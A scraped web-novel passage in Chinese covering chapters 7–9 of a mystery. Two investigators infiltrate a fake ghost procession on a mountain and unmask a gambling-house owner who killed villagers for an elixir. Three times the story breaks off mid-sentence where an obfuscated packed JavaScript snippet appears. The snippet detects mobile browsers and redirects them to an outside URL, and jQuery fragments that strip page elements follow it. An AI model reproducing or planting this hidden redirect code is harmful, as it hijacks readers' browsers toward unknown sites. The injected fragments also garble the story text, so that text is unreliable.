之后几日,王博多被囚禁家中,万仙倒是落得一个清净。但他也没闲着,他寻了家裁缝店,定制了三套衣裳。因为他记得,那群鬼衣着也颇为怪异。他们要混入其中,就要每个环节都做得细致一些。当然他也询问了一圈,凌洛城里是否有人做过类似的衣裳,但是得到的答复都是否定的,也不知其中是否有人撒谎。 另一边,雾山角也没闲着。他之前听玉河村的村民说,铄山周边的其他村庄里也有人失踪,于是又出了几趟城,去村庄探访。但那些失踪之人的家属并不知他们的去向,多数回答模棱两可,并不能当作特别有用的线索。而且,除了吴华白和李落地外,铄山周围也未再发现有被挖去心脏的尸体……看来,他非得进那鬼门瞧一瞧才行。 时间很快来到三日后,面具店的魏老板将制作好的面具头套送到了藏乐楼,交给万仙。雾山角的那一份也在其中。 万仙细细打量这定制的面具头套:一个尖牙猫脸,凶神恶煞;一个似鬼面天蛾,让人不寒而栗;一个马面牛角,令人毛骨悚然。 他不由感叹魏老板的做工精湛,这些椴木加牛皮做的面具头套栩栩如生,仿佛世间真有此怪物,着实诡异吓人,再配上他定做的一身破衣烂衫,晚上出门,定是会吓死旁人。 就在万仙欣赏之际,清寒夜里响起敲门声。 起初他以为是王博多来了,但未听门口响起“仙儿哥”三个字,他就赶紧将这可怖的行头收起,踱步到门口打开门。 只见不知是阿奇还是阿怪,独自一人站在门口。 “你是阿奇还是阿怪?”万仙问。 “阿奇。” “好,我记住你了。”万仙道,“王博多人呢?” “博多少爷还在祠堂罚跪呢。他出不来,但是他早早就嘱咐我,让我给你送来这个。”阿奇说着在身上掏出一个小盒子。 万仙接过盒子,心想,他的那身行头岂不是派不上用场了?不过也好,待在家里,总是比较安全的。那群装神弄鬼之人武力如何,尚未可知,让他这个愣头青加入,说不定到时候还要顾及他的安危。 念及此,万仙谢过了阿奇,拿着盒子回到房内。他打开盒子,瞧见里面垫着一层纸,纸上放着王博多之前随身携带的削灵刀。 万仙笑了笑,拿起削灵刀揣在身上,又掀开那层纸。 纸下,正是他托王博多从“异宝博多”里寻来的异宝。 7. 第一案:鬼门开07 “你那小跟班呢?”凌洛城外槐树下,雾山角迎风而立。 “被他老爹抓回去罚跪了。”万仙走到雾山角身旁,把放有衣裳和面具头套的包袱丢给他。 雾山角接过包袱,道:“也好,这下清净了。” 但是很快,雾山角就后悔了。没有王博多插科打诨,他同万仙,尴尬得很。 前往铄山的路上,万仙坦然自若地扇着扇子,他则亦步亦趋地跟在后头,一言不发。 他这哪是堂堂凌洛城小师爷的架势? 但他又不知如何扭转这局面,只得在心里碎念,自己为何要答应带这文弱书生去探案? 两人就这么沉默地来到铄山脚下,万仙率先开口:“我们在此先换衣服吧。” 雾山角看了一眼天边的晚霞,点了点头,指挥道:“你去那边,我在这边。” 万仙没有异议,带着他的衣服去往一处草丛。野草生长旺盛,刚好挡住他褪去衣裳的身躯。 雾山角也打开了万仙给他准备的包袱,里面有一个鬼面天蛾的头套、一身漆黑破烂的衣裳,最令他意外的是,里面竟还有一根可伸缩、内里镂空的哭丧棒。 聪明如他,很快就知道这哭丧棒的用处。 他抽出随身佩带的不忍剑,插入哭丧棒内,竟完美得契合。 这时,万仙也已换好了行头,他身着白色的长袍,手拎着尖牙猫脸的面具头套走过来。雾山角没有看到他随身的折扇,想必是藏到衣袖里去了。 他一边打量万仙,一边问:“那我们换下的衣物和我这不忍剑的剑鞘如何处置?” “就地埋了,明日再取。”万仙伸手,点了点地。 于是两人又捣鼓了一番,总算安排好了一切,起身上山。 天黑得很快,刚刚还是晚霞漫天,一转眼便夜色浓稠,星罗棋布了。不知名的鸟在黑暗里发出凄凉的鸣叫,归巢的动物也在黑暗里穿梭发出沙沙的声响。 万仙凭记忆,和雾山角来到第一次目睹鬼夜行的位置,找了一棵树躲了起来。 雾山角不想跟万仙一块躲着,于是迈开步子,腾腾腾地踩着树干飞身上树。 万仙仰起头,看到他双腿搭在粗壮的树枝上,身子倚着树干,嘴里竟还叼着一片落叶。 这家伙,身手还真矫健。 万仙不再管他,自己靠着树干,闭目养神。 夜越来越深,林间起了雾。 不知等了多久,不远处石门打开的声响终于飘入耳畔。万仙猛地睁开眼,警觉起来。树上的雾山角也吐掉了叼在嘴上的树叶,持着装有不忍剑的哭丧棒里,蹲在了树枝上。 奇异的冥音,“咦嘻嘻——”的鬼笑声再次响起。 那群鬼再次夜行于山中,走在前头的依旧是那无眼白的白袍鬼,手上持着的依旧是那燃着蓝色磷火的人骨灯笼。其他形态各异的鬼怪紧随其后,犹如送葬的队伍,浩浩荡荡。队伍经过之处,又弥漫起阵阵恶臭,仿佛人的尸体散发出来似的…… 第一次见此场景的人,或许觉得可怖,但如今第二次瞧的万仙与雾山角只觉得他们这戏演得过于无趣了一些。 万仙仰头,朝树上的雾山角使了个眼色。 雾山角便和他一起将面具头套套在了头上。 在奇异的冥音再次响起之时,万仙闪身,混入到了那夜行的队伍后头。一切是那么恰如其分,相得益彰。万仙随着前方狼头鹿角的鬼,亦步亦趋。夜行的队伍在浓雾里若隐若现。 万仙以为雾山角会跟在自己后头混进来。 结果他一转头,发现身后空无一人。 这家伙临阵脱逃了吗? 万仙差点就要暗骂他胆小如鼠了,然而待他再一转头,就瞧见前方的队伍里出现一个脸如鬼面天蛾的鬼。 原来雾山角技高人胆大,趁着雾色插队入局! 他挑的时机精准、行动的速度又快,所以跟在他前后的那几个鬼,并未发现异样。 而加入到夜行的队伍后,万仙也清楚地知道那冥音和腐臭味是从何而来了。 队伍里,有鬼敲击祭祀用的铜钲,发出声响,余音不绝。有鬼则拖着一块腐肉,在地上留下难闻的恶臭,只是不知道那肉是来自动物,还是人。 万仙皱了皱鼻子,随着队伍在山林间穿梭。 浓雾之中,众人难以辨明方向,但那持人骨灯笼的白袍鬼似乎将路线熟记在心。弯弯绕绕不久之后,他们便又绕回到了那伪装成巨石的山门前。 随着鬼们一个个跃入山门,雾山角和万仙也先后进入其中。 一条漆黑阴凉的甬道展现在他们面前。 随着万仙最后一个进入甬道,他背后的山门缓缓关闭。 一瞬间,甬道漆黑。但很快,一盏盏烛火台被点燃。赤红色的火光映照出鬼们奇形怪状的脸。 原先提着人骨灯笼的那白袍鬼站在最前头,开始指挥其他鬼回到甬道深处。 万仙从白袍鬼身边经过时,听到了他“咦嘻嘻——”的笑声,那笑声里有掩盖不了的喜悦。 面具头套里,万仙微微皱眉,就见甬道深处的空间忽然变大。烛光之中,一团赤红色的烟雾地面升腾而出。 忽然,原本排列整齐的队伍,猛地散开,有的向左,有的向右,唯独雾山角和万仙来不及反应,突兀地定在原地。 原来他们不是没有发现有人“插队”,而是故意让他们“入局”! “两条鱼,咦嘻嘻——”白袍鬼笑道,“今夜收获颇丰。” 他的话音未落,队伍里拖着索命链的黑帽鬼便朝着万仙冲来。 万仙不由地向后退去,但那黑帽鬼的索命链已经飞了过来,缠住了他的脚踝。 黑帽鬼用力一拉,万仙的身子就失去平衡,向后倒去。 雾山角眼疾手快,一手顶住万仙,一手持着哭丧棒,运力一震。哭丧棒的外壳碎裂,露出里面的不忍剑。 他欲要用剑砍断万仙脚上的索命链,就见万仙的头微微一撇。 雾山角立刻明白他为何意,倏地将刀锋一转,朝着反方向砍去。 “铮——”不忍剑砍在了一把锋利的钩刀之上。 原来黑帽鬼那一招不过是声东击西。在万仙与雾山角的注意力被吸引之时,早已有人趁着红烟绕到了雾山角的身后,瞄准时机,发起攻击! 见万仙和雾山角没有落入陷阱,那用钩刀之人从红烟里显出身来。他戴着青面獠牙的面具头套,持着钩刀快速地超雾山角砍了过来。 雾山角立即闪身,躲避钩刀的追砍,然后握紧不忍剑,朝着青面獠牙鬼的手腕刺去。 青面獠牙鬼惊愕他的速度之快,不似凡人,于是飞快地退后,以红烟为障,隐去自己的身形。 而另一头,万仙见红烟越来越浓,雾山角又被青面獠牙鬼吸引了注意力,于是双脚猛地发力。 被索命链勾着的那只脚如定海神针,钉在原地。然后,他轻轻抬起另一只脚,搭在索命链上,用力一勾! 索命链在红烟里剧烈地颤抖起来,竟震得黑帽鬼双手一抖! 黑帽鬼显然没有想到,今日混进夜行里的是位高手,忙不迭地去抓松掉的索命链。然而索命链已经不听他的使唤,在地上如蛇一样向前逃去,竟逃到了那尖牙猫脸怪的脚下。 万仙从缠绕的索命链里脱身,就听身后雾山角追着青面獠牙鬼打得火热。 一时间,耳边全是“铮铮铮——”的声响。 雾山角越是步步紧逼,那青面獠牙鬼越是害怕,钩刀抬起顶剑的力气越小。 而另一头,失去了索命链的黑帽鬼手足无措,不知道该拿万仙如何是好。 “没用的东西!非要浪费我一颗宝贝。” 突然,黑帽鬼被人推开,走在最后、清点人数的白袍鬼丢掉了手持的人骨灯笼,从衣袖里掏出一颗炸烟雷,往红烟里一丢。 “呲——” 红烟未变颜色,却散发出一股扑鼻的香气。 是迷香! 白袍鬼知道就算来者戴了头套面具,也不可能不留呼吸的孔洞,所以使出了这么一招。 万仙和雾山角赶紧屏住了呼吸。 但就算再能憋气,他们一时半会儿也无法逃脱这前后夹击的局面! 终于,在白袍鬼“咦嘻嘻——”的笑声里,万仙的腿一软,瘫倒在地。 雾山角连连后退,退回到万仙身旁,却也终于忍不住握着不忍剑,跌坐下来。 “别人都是粗劣地糊弄一下,混进来。像你们这种还特别做个头套的,倒是少见。”白袍鬼洋洋得意,踱步到瘫倒的两人面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037483|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我都差点以为,你们就是我们队伍里的人了。” 他摘掉万仙和雾山角的面具头套,打量了片刻。 “两位生得倒是俊俏,只是命太短。”他干瘦的手指划过二人的脸庞,又发出猥琐的笑声。末了,他指挥其他人道:“给我把他们两个绑起来。” 众人正准备动手,白袍鬼就瞧见面如冠玉的那位突然睁开眼来。 下一秒,他的嘴里吐出一阵青色的烟雾。 那一瞬,白袍鬼觉得他像是突然显露原形的恶鬼!但他已来不及反应,吸入了那青色烟雾,顿时头晕目眩。 “迷香怎么对你没有用……”白袍鬼震惊地瞪大那没有眼白的眼珠。 在一旁提着钩刀的青面獠牙鬼见状,急忙上前想要帮忙,结果雾山角也猛地睁开眼,飞速闪身到他面前,朝他也吐出了一阵青烟。不仅如此,他还送了他一脚。 青面獠牙鬼被踹得飞出去,撞在山壁上,顿时感觉天旋地转。 晕头转向的白袍鬼晃晃悠悠地在原地打转。 饶是如此,白袍鬼也明白刚才如此激烈的交手里,他们两人为何不发一言了。 原来他们嘴里含着既可以解迷香,又能致人晕眩的药丸! 就在白袍鬼企图稳住自己心神的间隙,雾山角已经握起不忍剑,抵在了他的脖子上。 自古擒贼先擒王,雾山角知道,那青面獠牙鬼在此不过是小喽啰,这白袍鬼才是队伍里领头的。 他朝万仙使了个眼色,万仙立马拉起地上的索命链,反绑住了白袍鬼的双手。 在场其他装神弄鬼之人见状,都不敢上前,生怕自己也成了他们手下的俘虏。 万仙拉着索命链,雾山角架着不忍剑,道:“谁让你们在铄山装神弄鬼的?” 不忍剑已经将白袍鬼的脖子划出了鲜血,白袍鬼连连求饶:“大侠饶命。” “少废话!”雾山角厉声道,“想活命,就老老实实回答。” 白袍鬼哭嚎道:“我们也不过是讨口饭吃……” “讨口饭吃?讨口饭吃需要杀人挖心?” “小的只是扮鬼将贪财之人哄骗进来,至于杀人挖心……那都是……”白袍鬼踌躇着,不知道要不要说下去。 雾山角压着不忍剑的手轻轻一动,剑刃便又没入了白袍鬼的皮肤,割出新的鲜血。 “饶命!饶命!”白袍鬼大叫,“都是钟老板……那些人都是钟老板杀的……” “钟老板人在何处?” “在那后头。”白袍鬼指着深处的石门。 万仙和雾山角透过赤红色的烟雾看去,看到一扇莲花图案的石门隐在最深处。 “带我们进去。”雾山角押着白袍鬼向那石门走去。 而他们身后,参与鬼夜行的众人欲要作鸟兽散。然而通往外界的山门关闭,他们寻不到开关开启,通往山里的石门又不敢进入,他们只得惶惶不安地在原地打转。 “这些人待会儿再收拾。”雾山角丢下话,带着万仙和白袍鬼快速开启石门,进入到了铄山的洞窟之中。 这洞窟十分宽阔,垂下来的长石,如同上天刺下来的剑,让这里仿若一个巨大的剑冢。 “剑冢”之中,有一莲花形状的石台,石台周围点满了蜡烛,石台之上,盘腿而坐一位面容憔悴的中年人。他闭目打坐,仿若不被尘世干扰的一尊佛像。 而他的身后,竖立着一尊炼丹炉。这炼丹炉高约八尺,周身以青铜铸就,雕刻着繁杂却精美的花纹——朵朵莲花浮于祥云之上,美轮美奂。此刻,炉火已经升起,袅袅白烟飘出,消失在嶙峋的怪石之中。 “钟万钱?”雾山角瞧清了打坐之人的面容,惊讶地唤他的姓名。 一旁的万仙眉头一蹙:“你认识他?” “他乃南洋街赌坊的老板。” “该不会是那家叫‘不见天’的赌坊?” 这时,莲花石台上的人终于睁开眼,开口道:“那正是鄙人的家业。” 他的话音还未落地,莲花石台忽然旋转起来。 “小心!”雾山角持剑飞旋到万仙和白袍鬼身前。 只一眨眼功夫,眼前的莲花石台就已转了半圈,露出藏在钟万钱背后的半尊佛像。那佛像突然睁开眼,张开嘴,射出十几根黑色的毒针! 8. 第一案:鬼门开08 见毒针飞来,雾山角腾空而起,不忍剑在空中快速闪动,划出一道道破空的剑痕。他的速度快若闪电,力道猛似猎豹,却精准无比。毒针打在剑身上,“叮叮叮”地被弹开,扎入黄土之中。 “雕虫小技。”雾山角一个滑步,稳稳扎住,护在万仙和白袍鬼身前。脚边尘土飞扬。 他微微侧过头,余光瞄向身后。 彼时,白袍鬼已彻底没有了气焰,如缩头的乌龟蹲在地上,用绑着索命链的双手抱着头。而他身后,万仙不知何时掏出了他那白面的折扇,挡在了胸前。 他以为那破扇子能挡毒针吗?雾山角握着自己的不忍剑,嘴角勾起一抹轻笑。 而半身佛像背后的钟万钱见机关法阻挡闯入者,立刻跳起身来就要落跑。 雾山角大喝一声:“站住!” 钟万钱哪会听话地束手就擒?他头也不回地朝着洞窟深处的密道跑去。密道的口子开在地上,他纵身一跃,便坠入了黑暗的密道之中。只要推上开口处的石板,封住口子,他就能躲过这一劫。 于是钟万钱伸出手指,用仅剩的一些力气去关那石板。 然而就在石板差快要合上之时,一把闪着寒光的剑,猛地刺了下来。 钟万钱推石板的手来不及抽离,被不忍剑割出了深深的一道口子。 借着密道上方的微光,钟万钱看到那划开自己的剑上,沾着黑色毒针上的剧毒! 难道他要自食其果吗? 钟万钱倏地松开推石板的手,朝着密道深处逃去。 雾山角见状,抽出不忍剑,用脚顶开石板,跟着跃入密道,寻声一路狂追…… 另一边。 洞窟之中,原本跪着瑟瑟发抖的白袍鬼,见那武艺高强的持剑之人追着钟万钱离开,顿时动了反抗之心。 他眼神发狠,倏地抡起抱在头上的双臂,将索命链朝着身后的万仙挥去。 “啪!”谁料那看似文弱的书生竟拿着那看似普通的折扇一挡,挡下了这次突袭。 白袍鬼不死心,愤然跃起,头朝着万仙的肚子顶去。只要将他顶倒在地上的毒针之上,他便能顺利逃脱! 万仙怎会不知他的计谋?他飞快出手,将扇子抵在了白袍鬼的头顶。 白袍鬼一阵吃痛。那扇子宛如孙悟空的金箍棒,戳得他头顶发麻! 白袍鬼感觉自己被戏弄,于是恼羞成怒,不甘心地一歪身子,又侧身朝万仙撞过去! 万仙脚步轻挪,避开撞击的同时,拿着扇子朝白袍鬼挥打过去。 “啪!啪!啪!” 几声闷响后,白袍鬼感觉自己身上多处传来剧痛。 明明是被扇子打,怎么比被人抡了几拳还痛?白袍鬼脑子闪过这个念头时,身子已经摇摇晃晃地朝地上扎的毒针迎面倒去了。 眼见一根毒针即将要插进他的眼珠里,白袍鬼发出了惊恐的尖叫。 “啊!!!” 下一秒,他的身子绷得笔直,僵在半空。万仙牢牢地拉住了捆绑他双手的索命链。此刻,索命链变成了救命链。 地上的毒针离白袍鬼的眼珠只剩下一丝距离。 “吵死了。” 万仙不耐烦地将白袍鬼拉起,只见他惊魂未定,满头大汗。汗水从他苍白的脸颊上缓缓地流下,晕开了白色的涂料。 涂料之下,竟是一张红润的年轻的脸。 “你这是天生异瞳?”万仙拽着索命链,看着白袍鬼没有眼白的眼睛。 白袍鬼愤愤地转开脸,闭上眼,道:“那是用药汁浸色后的效果,用清水就可以将眼白的黑色洗净。” “原来如此。” “你呢。”白袍鬼头一昂,竟向万仙发出质问,“你们刚刚嘴里含的是什么?” 万仙自然不会告诉他,那是王博多从“异宝博多”里“借”来的,世间罕有的苦疯糖。 那糖即是药。 它能让含药者解多种迷药,亦可造出对含药者无效,却能致他人短暂晕眩的迷烟。 但这糖有个巨大的弊端,那便是它奇苦无比! 万仙和雾山角含了一路,苦得连连在面具头套里翻白眼! 这也是他们刚刚一句话也不说的原因。 正在吃苦的人,向来懒得多费口舌! 想起刚才味蕾的苦涩,万仙难忍不悦,语气也冰冷起来。 “轮不到你问我。”他板下脸,拉着那装神弄鬼的年轻人,来到炼丹炉旁,将索命链的一头栓在炼丹炉的一只脚上。 年轻人撇了撇嘴,不再作声。 万仙看着这八尺高的巨大炼丹炉,道:“钟老板让你们佯装鬼夜行,是为了让别人以为,有人为了在山中掘金而装神弄鬼?” 年轻人咬住嘴唇,点了点头。 万仙继续道:“你们以此引诱他们混入这鬼门,然后趁他们不备,将他们降服,再挖去心脏来炼丹?” 年轻人又点了点头。 “钟老板为何要炼丹?” 年轻人沉默。 万仙拎起他的衣领,就往燃着火的炼丹炉上撞去。 此刻,他哪还有文弱书生的模样!分明是活阎王! 他要将我烫死在炼丹炉滚烫的铜壁上! 年轻人心里大惊,嚷道:“钟老板命不久矣,听说九命还魂丹可以续命,便想自练此丹!” “九命还魂丹?”万仙目光犀利,道,“我们只发现了两具尸体,但听说铄山周围的村子,失踪了不少人……你们到底杀了几个人,取了几颗心脏?” 年轻人瑟瑟发抖,不敢回答。 万仙再次拎起他的衣领。 年轻人挣扎道:“七个,七个……你们本来是最后两个,钟老板差一点就能练成那丹药了。” “用人心练丹,何等的罪孽,上苍岂会让他续命!”万仙冷笑一声,松开了年轻人的衣领,道,“尸体都在哪?” “我们挖了一个乱葬坑,尸体都在那。” “那为何有两具顺着玉河而下?” “我不知道……”年轻人看到万仙欲要再对自己动手,大声嚷道,“我真不知道!” 看他这窝囊的模样,万仙知道他没撒谎,于是收回了自己的手。 “你们为何要这般复杂,诱人入门,慢慢杀害?”万仙不解,“钟老板既然命不久矣,为何不随意找九人,挖心练丹?” “钟老板说,可以炼丹的心,必须是贪婪之人的心脏,所以他才设下鬼夜行的局,引诱想来掘金的贪婪之人,一个个杀害,挖心。”年轻人说,“而且自投罗网的猎物,比较容易降服,不会闹出太大的动静来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037484|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 万仙冷笑道:“你们这些人为他卖命,难道不是贪图他的钱财吗?按理说来,钟老板最先挖的应该是你们这些人的心脏!” “杀了我们,谁来帮他干事?就他那病秧子的身体,没有我们,他能在这深山里修造炼丹窟吗?我们的确贪图他的钱财,是贪婪之人,但我们对他来说有用得很,他舍不得杀我们的。”年轻人的语气竟带有一丝骄傲。 万仙沉下脸来。 年轻人顿觉不妙,立刻收起刚才的模样,求饶道:“我们不过是想赚点银两回家娶妻生子的小喽啰罢了……这一切都是钟老板指使的……最后杀人挖心那一步骤也都是他亲自动手的……大人饶命啊,放我一马!” “痴心妄想。”万仙冷哼一声。 年轻人双腿一软,跌坐在地,瑟瑟发抖起来…… 另一头。 密道之中,雾山角拖着不忍剑,一路飞奔。不忍剑在石头砌的墙壁上划出火花,发出刺耳的声响。 这尖锐的声响在狭小的密道里,带来巨大的威慑力,让落跑的钟万钱浑身颤抖。 密道的出口明明就在前方,他甚至都能看到落下的斑驳的月光,可是为什么他就是无法抵达?! 气喘吁吁的钟万钱越想越急。慌乱间,他一个踉跄,将自己摔了出去。 等他努力撑着臂膀,想要爬起来时,雾山角的剑已经抵在了他的喉咙上。 “装神弄鬼,杀人挖心,你还想跑?” 钟万钱喘着气,死死地盯着雾山角。 他逃无可逃,此刻竟也不惧怕了。 “都怪命运不公!”钟万钱凄凉一笑,“我好不容易有了不见天,有了荣华富贵,为什么偏要让我患上恶疾,只剩下一年的寿命?” “所以你挖心是为了续命?”雾山角道,“你要练续命的丹药?” “我要练的是九命还魂丹!是长生不老之药!” “从古至今,无数帝王将相,都想长生不老,可你有瞧见,谁真的活过千年?”雾山角犀利道。 “我何尝不知道?可我有什么办法?将死之人,还能有什么办法?”钟万钱嚷道,“我只能死马当活马医,去做这九命还魂丹!” “为何大费周章来这铄山?” “这里是藏风聚气的宝地,师父说有助于炼丹……”钟万钱笑道,“而且这里刚好有厉鬼守金的传说,我就想利用它,把周边的贪婪之人骗进来。凌洛城里若有多人失踪,定是会闹得沸沸扬扬,但这里的山野村夫失踪,可不会闹出那么多动静……” “那你为何还要杀吴华白和李落地?” “谁叫他们混进鬼门,发现了我的秘密。”钟万钱忽然一皱眉,“你怎么知道我杀了他们……” 他的话还没说完,就瞪大了眼睛。 “阎王提前来带我走了!”他忽然浑身僵硬,大喊起来。 没过一会儿,他就失了魂魄,暴毙而亡了。 雾山角这才发现他的手上被他的不忍剑划开了一道口子,而他的不忍剑刚刚沾了毒针的毒…… 这为非作歹之人,最后竟是作茧自缚,死在了自己的机关下! 真是天道好轮回! 雾山角蹲下身子,探了探钟万钱的脉搏,确定他没有气息后,才背上他的尸体,离开了密道。 9. 第一案:鬼门开09 铄山夜色中。 离开洞窟的万仙和雾山角将钟万钱的尸体带出,扔在了地上,又将那装白袍鬼的年轻人绑在一棵树上,以防他逃跑。至于其他装神弄鬼之人……他们还被困在“鬼门”后的甬道之中。 听白袍鬼说,那甬道两端的石门,只有他和钟万钱才能开启。那么,那群人就等差役到来再处理吧。 万仙瞧见雾山角从衣服里掏出一支旗火和一只火褶子。 他用火褶子点燃旗火,旗火便朝夜空飞旋而上,明亮地炸开。 今日来铄山之前,雾山角就通知了衙门里的差役。他故意让衙门里的人晚一点抵达,就是为了防止打草惊蛇。不过现在,他们应该已经抵达了铄山。看到这旗火的信号后,他们应该很快就会找到他们,将甬道里助纣为虐的那群人一网打尽。 雾山角发完信号,终于松了口气,准备坐下来休息。 谁料原本还在扇扇子的万仙,突然停下了手上的动作。 雾山角见状,也警觉地竖起了耳朵。 林间响起了脚步声,却不是差役们的脚步声! 万仙和雾山角循声望去,只见漆黑的林中浮现一张诡异的脸。 一个马面牛角的怪物出现在他们眼前! “还有漏网之鱼?”雾山角大喝一声,抄起不忍剑就朝那怪物刺过去。 那怪物没想到会遇到这场景,惊得呆在原地。 “且慢!”万仙大叫。 雾山角闻言,向前飞掠的身影蓦地停了下来,不忍剑稳稳地架在怪物的脖子上,却未砍下去。 “仙儿哥!”王博多双脚发软地把面具头套一摘,越过雾山角看向万仙。 雾山角收起剑,道:“你装神弄鬼干嘛?” “我哪有装神弄鬼?我只是看到突然有人放旗火,想来探探情况罢了。” 王博多解释说,他今日本该按照约定去藏乐楼找万仙的。但是他爹娘却把他关进祠堂,让他罚跪。更可恶的是,他爹居然还站在一旁亲自监督,令他无处可逃。好在他留了一手,跟阿奇说,若自己没有从祠堂回来,就将自己房间桌子上的盒子带去给万仙,这才没有误了万仙的事儿。 他本以为自己会在祠堂跪一宿,结果他爹终是于心不忍,在黄昏解了他的禁足。他老老实实地吃了晚饭,佯装早早睡下,实则又翻墙溜了出来。 他来到藏乐楼,没有见到万仙,就知道他按照原计划去了铄山。这案子他探了一半,他不想半途而废,所以决定追上万仙的步伐。出发前,他在清寒夜里,发现了万仙留下来的面具头套,于是带在了身上。 抵达铄山时已是深夜,他不知道万仙和雾山角是否碰上了夜行的厉鬼,只得自己在山林里瞎逛。鬼影幢幢的山野,让他心里毛毛的,于是他戴上面具头套,企图让自己安心一些。 “万一真碰上孤魂野鬼,它们看我这副模样,说不定也会被吓得逃走。”王博多撇撇嘴,“谁知道差点会被这家伙砍掉脑袋!” 雾山角环抱双臂,冷眼看他:“废话真多!” 王博多欲要回怼他,余光却瞄到地上的尸体。 “妈呀!死人!”他猛地一跳脚,吓了雾山角一跳。 不忍剑“唰”地又架在了王博多脖子上。 雾山角道:“再鬼吼鬼叫,信不信我杀了你!” “我就这一个博多少爷,你给我杀了,下次去哪里求苦疯糖这样的神药。”万仙用扇子推开架在王博多脖子上的不忍剑。 王博多眼神里闪出喜悦之色:“那鬼门后头,真有迷香?” 万仙点点头:“不然他们夜行也不会用腐肉去味。” 万仙第一次来铄山时就疑惑,装神弄鬼之人,为何要让腐烂之味萦绕在队伍走过的地方? 后来,他想到,他们可能会用迷香迷晕受害者。他们提前服了药,可以抗住这迷香,但穿梭其中,身上难免会沾染上一些气味。他们不想在鬼门外被人发现迷香陷阱,因为迷香要在密闭空间里才最有效,所以他们才在夜行时用腐肉去味。 于是在王博多被阿奇阿怪架走那天,万仙提着他的鞋追了上去,同他耳语,让他去自家的当铺找找有没有应对的神药。 王博多一听自己有任务在身,便追风逐电地回了家,无需阿奇阿怪再来架着他。 “虽然今晚没能亲自加入捉鬼,但是至少我也出了点力。”王博多一边志得意满地说着,一边看向刚才吓了他一跳的尸体。 很快,他就认出了那人。 “这是……不见天的钟老板?” “你还真是凌洛城百事通呐。”雾山角揶揄。 万仙则冲王博多点头道:“他便是那些鬼的雇主,杀人挖心的凶手。” 他将他们在鬼门里探查到的事告诉了王博多,王博多义愤填膺地踢了尸体一脚,道:“傻子才信什么九命还魂丹,什么长生不老药!” 末了,他又把目光投向被绑在树上的白袍鬼:“欸?这白袍鬼原来是个小后生。” 白袍鬼此时脸上的涂料已经全花了,他生无可恋地撇过脸去,不愿面对王博多的审视。 就在这时,衙门的差役循着旗火的指引,疾步而来。 雾山角不再理会万仙和王博多,自顾自指挥差役收拾起今晚的残局。 他们找到了困在甬道里的其他扮鬼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037485|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,摘掉了他们椴木与牛皮做的面具头套,抹掉了他们脸上的涂料,将他们通通绑了起来。接着,他们寻到了埋葬尸体的乱葬坑,把乱葬坑里的尸体一一挖出。这些尸体已经高度腐烂,害得王博多在一旁吐了三次。 万仙和雾山角倒是十分淡定,将尸体一一检查过去,然后让差役把他们带走。 一番忙碌下来,天已经大亮。 铄山周围的村民,听闻凌洛城来的小师爷查破了鬼夜行的秘密,纷纷上山看热闹。其中不乏失踪者的家属。有人趁着众人不注意,冲过去掀开了盖尸的白布,瞧见了自己亲人腐烂的面庞,顿时痛哭流涕。 差役将人架走,却无法驱散围观者看见腐尸后的恐怖记忆。 “当真是吓人啊!” “简直就是造孽!” “实在是太晦气了!这比真的闹鬼还恐怖!” 百姓们议论纷纷。 “没什么好看的,没什么好看的,都回家去吧!”差役们不停驱赶,花了不少功夫,才封掉了这夺走了数人性命的案发之所。 而万仙和王博多在乱葬坑的尸体被一个个抬出来后,就先行离开,回到了凌洛城。 万仙沐浴更衣,坐在清寒夜里啃梅花糕的时候,已是午时。 王博多已经四仰八叉躺在他的床上,打了好一会儿呼噜了。 万仙看着他,摇了摇头,吃完了梅花糕,又看了一会儿这几天一直没来得及看完的话本,才托着下巴打起了瞌睡。 两人睡到申时,被窗外送葬队伍的唢呐声吵醒。 王博多睁着惺忪的睡眼,盯着床上方的承尘板发呆。万仙则起身,走到了窗边,打开窗户向外望去。 只见李家的送葬队伍浩浩荡荡地从街上路过。 今日,是李落地出殡的日子。 “你们听说没,城外铄山上,挖出了不少尸体……听说凶手是不见天老板,钟万钱。” 聚集在藏乐楼下的路人,看着李落地的送葬队伍,议论起了今日的传闻。 他们声音响亮,毫不遮掩,甚至语带兴奋。 “听说那钟万钱挖人心炼丹呢!” “练什么丹?” “九九归一丹!听说能返老还童!” “啊?真的假的?” 万仙咂舌,这案子今天刚破,就被歪曲了细节——“九命还魂丹”变成了“九九归一丹”——也不知道之后,它会被传成什么样子。 万仙抬起头,看向送葬的队伍。 此刻,李落地的阿弟李辞天正扶着灵柩,边走边抹着泪。 万仙脸色一沉,喃喃道:“你这泪,究竟有几分真呢?” 10. 第一案:鬼门开10 失去亲人,人们的反应总是各不相同。有哭天喊地的,也有默不作声的。李落地的父亲便是后者。 